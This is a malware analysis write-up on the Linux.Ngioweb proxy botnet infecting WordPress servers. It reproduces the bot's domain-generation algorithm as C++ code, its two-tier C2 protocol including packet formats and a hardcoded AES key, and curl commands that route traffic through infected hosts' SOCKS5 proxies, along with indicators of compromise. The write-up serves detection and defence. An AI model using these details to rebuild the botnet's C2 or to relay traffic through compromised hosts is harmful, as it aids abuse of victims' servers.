

# An Analysis of Linux.Ngioweb Botnet

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 [blog.netlab.360.com/an-analysis-of-linux-ngioweb-botnet-en/](http://blog.netlab.360.com/an-analysis-of-linux-ngioweb-botnet-en/)

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## Background

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On May 27, 2019, Our Unknown Threat Detect System highlighted a suspicious ELF file, and till this day, the detection rate on VT is still only one with a very generic name. We determined that this is a Proxy Botnet, and it is a Linux version variant of the Win32.Ngioweb[1] malware. We named it Linux.Ngioweb. It shares a lot of code with Win32.Ngioweb, except that it has DGA features. We registered one of the DGA C2 domain names (enutofish-pronadimoful-multihitision.org) and was able to observe the Bot connections.

In addition, we have observed that Linux.Ngioweb malware has been implanted into a large number of WordPress Web servers.


Although the Bot program is loaded with the privilege of the user group corresponding to the Web container, it still works and runs as Rotating Proxy node[2].

We don't know why the attacker runs this proxy botnet, but it is possible that everything goes through the proxy is being recorded by the attacker.

## Overview of Linux.Ngioweb

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The main functionality of the Linux.Ngioweb Bot sample is to implement Back-Connect Proxy[3].on the victim's machine. The attacker builds multiple Bots into a Proxies Pool and controls it through a two-tier C2 protocol, then provides a Rotating Proxy Service.



## Reverse engineering on Linux.Ngioweb

### Basic information

MD5: 827ecf99001fa66de513fe5281ce064d

| ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped

### Anti-reverse engineering technique

- Uses a niche library named musl libc

File	State	#func
musl libc x64	Applied	57

- Stores its functions in the function table in advance

```

mov    qword ptr [rbx+0C0h], offset connect
mov    qword ptr [rbx+0C8h], offset sys_listen
mov    qword ptr [rbx+0D0h], offset bind
mov    qword ptr [rbx+10h], offset sys_mremap
mov    qword ptr [rbx+8], offset sys_malloc
mov    qword ptr [rbx+18h], offset sys_munmap
mov    qword ptr [rbx+20h], offset write
mov    qword ptr [rbx+28h], offset read
mov    qword ptr [rbx+30h], offset lseek
mov    qword ptr [rbx+38h], offset Wrap_Exit
mov    qword ptr [rbx+40h], offset getppid
mov    qword ptr [rbx+48h], offset getpid
mov    qword ptr [rbx+50h], offset sys_fork

```

- Uses Stack Strings Obfuscation

```

mov    [rsp+38h+var_1C], '-'
mov    [rsp+38h+var_1D], 'e'
mov    [rsp+38h+var_1E], 'n'
mov    [rsp+38h+var_1F], 'i'
mov    [rsp+38h+var_20], 'h'
mov    [rsp+38h+var_21], 'c'
mov    [rsp+38h+var_22], 'a'
mov    [rsp+38h+var_23], 'm'
mov    [rsp+38h+var_24], '/'
mov    [rsp+38h+var_25], 'c'
mov    [rsp+38h+var_26], 't'
mov    [rsp+38h+var_27], 'e'
mov    [rsp+38h+var_28], '/'

```

- Generates constant table used by CRC and AES

```

prepareCRC32(a2 + 12);
v34 = 's';
v33 = 's';
v32 = 'd';
v5 = e;
v4 = 'w';
v3 = 'q';
v35 = 0;
prepareAES((BYTE *) (a2

```

- Uses a two-tier C2 protocol, where Stage-2 C2 is determined by the CONNECT instruction of Stage-1 C2
- Stage-2 C2 uses a two-layer encrypted communication protocol

## Stage-1 C2 protocol analysis

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At this stage, the main behavior of the sample is to establish communication with Stage-1 C2, and proceed to the next step according to the instructions returned by C2.

Communication attempt

- Try to establish communication with the following hardcoded C2 IP every 60 seconds  
169.239.128.166:443  
185.244.149.73:443
- Try to establish communication with the domain name generated by DGA (Domain Generation Algorithm) every 73 seconds. When the number of DGA domain names reaches 300, the Seed will be reset. So the total number of DGA domain names is 300.  
`*((__WORD *)a1 + 0xE) = GenerateDomain(*((__WORD *)  
sub_405DAB((__int64)a1, FirstCC);  
dgacount = (*((__WORD *)a1 + 0xF) + 1) % 0x12Cu;`

DGA implementation

```

uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
    uint32_t tmp = 0x41C64E6D * seed + 0x3039;
    seed = tmp;
    return tmp % mod;
}
string dga(uint32_t& seed)
{
    char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
                        "over", "mis", "dis", "pre", "post", "anti", "inter",
                        "sub", "ultra", "non", "de", "pro", "trans", "ex",
                        "macro", "micro", "mini", "mono", "multi", "semi", "co" };

    char* BodyBufA[] = {"able", "ant", "ate", "age", "ance", "ancy", "an", "ary",
                        "al", "en", "ency", "er", "etn", "ed", "ese", "ern", "ize",
                        "ify", "ing", "ish", "ity", "ion", "ian", "ism", "ist", "ic", "ical",
                        "ible", "ive", "ite", "ish", "ian", "or", "ous", "ure" };

    char* BodyBufB[] = {"dom", "hood", "less", "like", "ly", "fy", "ful", "ness",
                        "ment", "sion", "ssion", "ship", "ty", "th", "tion", "ward" };

    char* TailBuf[] = { ".net", ".info", ".com", ".biz", ".org", ".name" };

    string BlockBufA = "aeiou";
    string BlockBufB = "bcdfghklmnprstvxz";
    string domain;
    uint32_t dashloop = GenSeed(seed, 3) + 1;
    while (dashloop--)
    {
        domain += HeadBuf[GenSeed(seed, 0x1e)];
        int flag = 0;
        int i = 0;
        if (BlockBufA.find(domain.back()) == string::npos)
            flag = 1;
        int fillcnt = GenSeed(seed, 0x3) + 4;
        while (fillcnt > i)
        {
            if (flag + i & 1)
                domain += BlockBufA[GenSeed(seed, 0x5)];
            else
                domain += BlockBufB[GenSeed(seed, 0x11)];
            i++;
        }
        if (BlockBufA.find(domain.back()) == string::npos)
            domain += BodyBufA[GenSeed(seed, 0x23)];
        else
            domain += BodyBufB[GenSeed(seed, 0x10)];
        if (dashloop != 0)
            domain += "-";
    }
    return domain += TailBuf[GenSeed(seed, 0x6)];
}

```

## Communication Protocol

This phase of communication is based on the HTTP protocol and the parameters are Base64 encoded.

### Packets overview

```
GET /min.js?h=aWQ9ZGRiMGI0OWQxMGVjNDJjMyZ2PXg4Nl82NCZzdj01MDAzJnFsb2htemFsd2RlcHVwd2Y= HTTP/1.1
Host: 169.239.128.166
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html
Connection: close

HTTP/1.1 200 OK
Server: openresty/1.15.8.1
Date: Tue, 18 Jun 2019 07:41:51 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 554
Connection: close

CONNECT 91.134.157.11:443
CERT 1
3A0CA4592F2A6DC3BC4E188A2E87A05738DBC8BC32D1A9C2F69D0B7D44EAC109A76D7B53C974CD27A45B562970FEA5F6
94248244354F377014D893EADE0D77BC6D41681870C9D27245DB98EDDF246041AEB07A73CBFB3D0327EE5FA4B9491BF6
38309E6014B2C1371733A351BFF4789A308D69467AFE43A5BCA1AC519A66D5DB039C92E47C39C7BD706CEFF64B8DA9EE
WAIT 30
```

### Sent Packets decode

After decoded the parameter content by Base64, we get the following information.

```
| id=ddb0b49d10ec42c3&v=x86_64&sv=5003&qlohmzalwdepupwf
```

- id=machine-id[0:15]

```
root@debian:~# cat /etc/machine-id
ddb0b49d10ec42c38b1093b8ce9ad12a
```

- v=x86\_64, hardcoded, architecture
- sv=5003, hardcoded, version number
- &qlohmzalwdepupwf, random 16-byte data, the algorithm is as follows

```
) for ( i = 0LL; i != a3; ++i )
)
{
    v7 = 0x41C64E6D * *a1 + 0x3039;
    *a1 = v7;
    (*(_BYTE *) (a2 + i)) = v5[v7 % v4];
}
```

- User-Agent, hardcoded

```
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
```

Received Packets decode

```
CONNECT 91.134.157.11:443
CERT 1
3A0CA4592F2A6DC3BC4E188A2E87A05738DBC8BC32D1A9C2F69D0B7D44EAC109A76D7B53C974CD27A45B562970FEA5F0
94248244354F377014D893EADE0D77BC6D41681870C9D27245DB98EDDF246041AEB07A73CBFB3D0327EE5FA4B9491BF0
38309E6014B2C1371733A351BFF4789A308D69467AFE43A5BCA1AC519A66D5DB039C92E47C39C7BD706CEFF64B8DA9EE
WAIT 30
```

Command Supported

- WAIT
- CONNECT
- DISCONNECT
- CERT

## Stage-2 C2 protocol analysis

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At this stage, the main action of the sample is to establish communication with the C2 of Stage-2 and enable the Back-Connect Proxy function. C2 of stage-2 is specified by the CONNECT command.

Communication Protocol

At this stage, the communication is combined by double-layer encryption. The inner layer is XOR and the outer layer is AES.

Packets overview

```
00000000  c1 d3 78 71 2d f6 5b bb 16 ca ff 8b ef 69 bb 26 ..xq-.[. ....i.&
00000010  3b 01 f0 22 70 09 38 dc e7 06 89 de 2b 55 eb 8e ;.."p.8. ....+U..
00000000  c5 ad 4a bf 30 c2 3a 43 9b 6e 22 08 73 e0 b9 5d ..J.0.:C .n".s.]
00000010  3c e6 b7 f0 74 76 53 43 3a 79 0e 82 80 1a c3 84 <...tvSC :y.....
00000020  ba a4 85 05 4a 63 b1 d6 d1 94 ad 53 be 7a 9a 88 ....Jc.. ...S.z..
00000020  14 c1 7a 9c 70 f2 d6 c7 99 ed 38 c1 e4 2b 77 9f ..z.p... ..8..+w.
00000030  3e 82 6c fd a1 3c f0 08 73 48 4c 5e b4 88 7c d7 >.1..<.. sHL^...|.
```

Encryption Algorithm

The XOR key is generated by a random algorithm:

```
v2 = 0x41C64E6D * *a1 + 0x3039;
*a1 = v2;
return v2 % a2;
```

The algorithm is:

```
| if ( buff )
| {
|     while ( buff != end )
|     {
|         *buff++ ^= key;
|         key = __ROR4__(key, 8);
|     }
| }
```

AES uses ECB mode, no padding. The key is: qwerasdfzxcqwerasdftyuirfdssdss

Packet Structure

The packet consists of two parts: “header” and “msg”.

“header” structure:

```
#le->little endian
#be->big endian
struct header
{
    uint32_le xorkey;
    uint32_be msgcrc32;
    uint32_be len;
    uint16_be msgcode
    uint16_be magic
};
```

“msg” consists of chunks, and the chunks supported by the sample are as follows:

Chunk Type	Chunk Length	Description
1	1	BYTE
2	2	WORD big endian
3	4	DWORD big endian
4	8	QWORD big endian
5	N+4	Bytes array. The first 4 bytes of chunk are the big endian-encoded length (N) of the array

A “msg” can have one or more chunks, and different “msg”s are made up by different chunks

The “msg” types used by this sample are “recv” and “send”.

- recv  
    if ( v21 == 0x1010 )  
    {  
        v44 = 2;  
        v43 = 5;  
        chunkcnt = 3LL;  
        v42 = 4;  
    }  
    else if ( v21 == 0x1011 )  
    {  
        v46 = 2;  
        v45 = 5;  
        chunkcnt = 5LL;  
        v44 = 1;  
        v43 = 1;  
        v42 = 4;  
    }  
    else  
    {  
        chunkcnt = 0LL;  
        if ( v21 == 0x1012 )  
        {  
            v42 = 4;  
            chunkcnt = 1LL;  
        }  
    }

- send

mov rdx, rbx	mov [rbx+11h], eax
mov esi, 10h	mov rdx, rbx
mov rdi, rbp	mov esi, 11h
call GenPacket	mov rdi, rbp
	call GenPacket
	mov esi, 15h
	mov rdi, rbp
	mov byte ptr [rbx+19h]
	mov [rbx+1Ah], r13b
	call GenPacket
mov rcx, rdx	mov rcx, rdx
mov edx, 16h	mov edx, 14h
jmp GenPacketWrap	jmp GenPacketWrap

See the table below for a summary of different “msg”s:

msgcode	Driection	Description	Format
0x1010	recv	set channel id	3 chunks:(QWORD ConnId, Array IPAddr, WORD Port)
0x1011	recv	start proxy request	5 chunks:(QWORD RequestId, BYTE reason, BYTE AddrType, Array Addr, WORD port)
0x1012	recv	close connection	1 chunk:(QWORD ConnId)
0x10	send	check-in	1 chunk:(QWORD BotId)
0x11	send	set-channel ack	1 chunk:(DWORD VersionId)
0x14	send	tcp server started	5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port)
0x15	send	error	2 chunks:(DWORD RequestId, BYTE reason )
0x16	send	udp server started	5 chunks:(DWORD ConnectionId, QWORD RequestId, BYTE AddrType, Array Addr, WORD Port)

Sent packets sample analysis

- Raw data

```
packet[0:31]:  
6c 52 8c 08 3e 80 a9 3c 00 00 00 10 00 10 fa 51  
04 dd b0 b4 9d 10 ec 42 c3 00 00 00 00 00 00 00  
header      --->packet[0:15]  
    xorkey      --->0x088c526c  
    msgcrc32     --->0x3e80a93c  
    msglen       --->0x00000010  
    msgcode      --->0x0010, check-in  
    magic        --->0xfa51  
msg      --->packet[16:31]  
    1st chunk  
        chunktype   --->0x4  
        content      --->0xddb0b49d10ec42c3
```

- After XOR encryption

```
6c 52 8c 08 36 0c fb 50 08 8c 52 7c 08 9c a8 3d  
0c 51 e2 d8 95 9c be 2e cb 8c 52 6c 08 8c 52 6c
```

- After AES encryption

```
c1 d3 78 71 2d f6 5b bb 16 ca ff 8b ef 69 bb 26  
3b 01 f0 22 70 09 38 dc e7 06 89 de 2b 55 eb 8e
```

## Received packets sample analysis

- Raw data

```
c5 ad 4a bf 30 C2 3a 43 9b 6e 22 08 73 e0 b9 5d  
3c e6 b7 f0 74 76 53 43 3a 79 0e 82 80 1a c3 84  
ba a4 85 05 4a 63 b1 d6 d1 94 ad 53 be 7a 9a 88
```

- After AES decryption

```
59 8b e5 6d 4a ee bf ef 6d e5 8b 79 7d f5 71 08  
69 b8 81 aa 92 ed 65 fb 29 e0 8b 59 6d e1 51 47  
19 e1 89 d8 29 e5 8b 59 6d e5 8b 59 6d e5 8b 59
```

- After XOR decryption

```

packet[0:47]
59 8b e5 6d 27 0b 34 b6 00 00 00 20 10 10 fa 51
04 5d 0a f3 ff 08 ee a2 44 05 00 00 00 04 da 1e
74 04 02 81 44 00 00 00 00 00 00 00 00 00 00 00 00 00

header          --->packet[0:15]
xorkey         --->0x6de58b59
msgcrc32      --->0x270b34b6
msglen         --->0x00000020
msgcode        --->0x1010, set channel id
magic          --->0xfa51

msg            --->packet[16:47]
1st chunk
    chunktype   --->0x04
    content      --->0x5d0af3ff08eea244
2nt chunk
    chunktype   --->0x05
    content      --->len:0x00000004 buf:0xda1e7404
3rd chunk
    chunktype   --->0x02
    content      --->0x8144

```

## Stage-2 C2 association analysis

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We obtained the following 6 Stage-2 C2 addresses by visiting the Stage-1 C2 URL (<http://185.244.149.73:443/min.js>).

5.135.58.119  
 5.135.58.121  
 5.135.58.123  
 5.135.58.124  
 91.134.157.11  
 193.70.73.115

We looked up this md5 (9017804333c820e3b4249130fc989e00) in our GraphicQuery platform and was able to find more IPs which host the same file, we then sent specific crafted packets to these IPs and was able to ID another 18 Stage-2 C2s.

5.135.35.160  
 5.196.194.209  
 51.254.57.83  
 54.36.244.84  
 54.36.244.85  
 54.36.244.91  
 91.121.36.212  
 91.121.236.219  
 92.222.151.63  
 145.239.108.241  
 163.172.201.184  
 163.172.202.116  
 178.33.101.176  
 178.33.101.177  
 178.33.101.178  
 178.33.101.182  
 188.165.5.123  
 188.165.163.20

We found that these Stage-2 C2 IP address are providing Socks5 proxy service by looking them up on free-socks.in

Show 100 ↓ entries		Search: 91.134.157.11				
	Proxy IP:Port	Proxy type	Location	Latency (sec)	Uptime	Last Check
	91.134.157.11:50880	SOCKS5	United Kingdom (Ferndown)	0.37482	100% (15/15)	1 minutes ago
	91.134.157.11:62012	SOCKS5	United States (Brea)	0.68167	100% (74/74)	4 minutes ago
	91.134.157.11:18278	SOCKS5	Netherlands (Amsterdam)	0.31568	100% (35/35)	12 minutes ago
	91.134.157.11:64380	SOCKS5	United States (Orlando)	0.89383	100% (36/36)	26 minutes ago
	91.134.157.11:47067	SOCKS5	France (Roubaix)	0.31012	100% (36/36)	29 minutes ago
	91.134.157.11:63862	SOCKS5	Germany (Ludwigshafen am Rhein)	0.32031	97% (35/36)	36 minutes ago
	91.134.157.11:49475	SOCKS5	United States (Austin)	0.97949	100% (6/6)	43 minutes ago

As we tested, all these Socks5 proxy IPs are properly functioning. Also, they accessed the C2 domain we own(enutofish-pronadimoful-multihitision.org) via the Stage-1 C2 protocol, so it can be said that they are all Linux.Ngioweb Bots.

```
root@localhost:~# curl --socks5 91.134.157.11:50880 ifconfig.me  
31.170.123.49
```

```
root@localhost:~# curl --socks5 91.134.157.11:62012 ifconfig.me  
208.113.197.88
```

```
root@localhost:~# curl --socks5 91.134.157.11:18278 ifconfig.me  
45.58.190.100
```

```
root@localhost:~# curl --socks5 91.134.157.11:64380 ifconfig.me  
72.29.64.29
```

```
root@localhost:~# curl --socks5 91.134.157.11:47067 ifconfig.me  
54.38.101.17
```


```
root@localhost:~# curl --socks5 91.134.157.11:63862 ifconfig.me  
88.99.212.97
```

```
root@localhost:~# curl --socks5 91.134.157.11:49475 ifconfig.me  
23.91.65.240
```

## Infected IPs information

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By listening on C2 domain (enutofish-pronadimoful-multihitision.org), we have observed a total of 2692 Bot IPs.



The following is a detailed list of countries/regions with number of infected IPs:

US 1306  
BR 156  
RU 152  
DE 133  
FR 102  
SG 98  
NL 80  
GB 66  
CA 66  
IT 64  
VN 42  
AU 36  
PL 31  
TR 28  
JP 26  
IN 26  
ZA 21  
ID 19  
ES 18  
UA 15

By probing the infected IPs, we found out that almost all Bot IPs are web servers and have WordPress programs deployed. We did not look into how the attacker took control of these WordPress sites though.

We contacted some infected users and found multiple WebShells on their Web servers. These WebShells are highly obscured, but the techniques, encryption, and code share similar characters.

Combined with the accessing characteristics (such as time, order) the infected IPs made to the our sinkhole DGA domain, we speculate that the attacker will periodically issue commands to the WebShells on the victim websites, as well as running the Linux.Ngioweb program.

## **Solutions and Suggestions**

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We recommend that readers do not use the Socks5 proxy service provided by these Stage-2 C2 IP.

We recommend that WordPress users back up the website article database (delete backdoor users such as wp.service.controller.\*), reinstall the latest version of WordPress program, enhance user password complexity, enhance WebShell detection capabilities, and disable PHP commands to execute related functions;

## **Contact us**

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Relevant security and law enforcement agencies are welcomed to contact netlab[at]360.cn for a list of infected IP addresses.

Readers are always welcomed to reach us on [twitter](#), WeChat 360Netlab or email to netlab at 360 dot cn.

## IoC list

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### Sample MD5

827ecf99001fa66de513fe5281ce064d

### Stage-1 C2 (Hardcoded IP)

169.239.128.166 LLC	South Africa	ASN 61138	Zappie Host
185.244.149.73 Ltd.	Romania	ASN 60117	Host Sailor

### Stage-2 C2

163.172.201.184	France	ASN 12876	Online S.a.s.
163.172.202.116	France	ASN 12876	Online S.a.s.
5.135.35.160	France	ASN 16276	OVH SAS
5.135.58.119	France	ASN 16276	OVH SAS
5.135.58.121	France	ASN 16276	OVH SAS
5.135.58.123	France	ASN 16276	OVH SAS
5.135.58.124	France	ASN 16276	OVH SAS
5.196.194.209	France	ASN 16276	OVH SAS
51.254.57.83	France	ASN 16276	OVH SAS
54.36.244.84	France	ASN 16276	OVH SAS
54.36.244.85	France	ASN 16276	OVH SAS
54.36.244.91	France	ASN 16276	OVH SAS
91.121.36.212	France	ASN 16276	OVH SAS
91.121.236.219	France	ASN 16276	OVH SAS
91.134.157.11	France	ASN 16276	OVH SAS
92.222.151.63	France	ASN 16276	OVH SAS
145.239.108.241	Germany	ASN 16276	OVH SAS
178.33.101.176	Ireland	ASN 16276	OVH SAS
178.33.101.177	Ireland	ASN 16276	OVH SAS
178.33.101.178	Ireland	ASN 16276	OVH SAS
178.33.101.182	Ireland	ASN 16276	OVH SAS
188.165.5.123	Ireland	ASN 16276	OVH SAS
188.165.163.20	France	ASN 16276	OVH SAS
193.70.73.115	France	ASN 16276	OVH SAS

### Stage-1 C2 (DGA)

enutofish-pronadimoful-multihitision.org  
exaraxexese-macrobacaward-exafosuness.net  
nonafudazage.name  
demigelike.net  
emuvufehood.net  
subolukobese.biz  
inogegetic-prorarurument.biz  
overahudulize-unazibeze-overuzozerish.org  
imunolance-postodinenetn-antifipuketn.net  
antizerolant-monogevudom.info  
transavecaful-transinenation-transikaduhern.com  
subogonance.info  
inoxodusor-misehupukism.info  
devikoviward-semibazegily-copaxugage.name  
eniguzeless-inecimanable.net  
subilebesion-irogipate.biz  
colozosion-antigobunaful.name  
inudiduty-dezaviness.org  
irelizing-enipulical-monovuxehossion.info  
ilenudavous-monoxoxapal-semimihupution.info  
ultrapadupize.biz  
covategal-dezakedify-enebugassion.name  
transivesudom-macropimuship.org  
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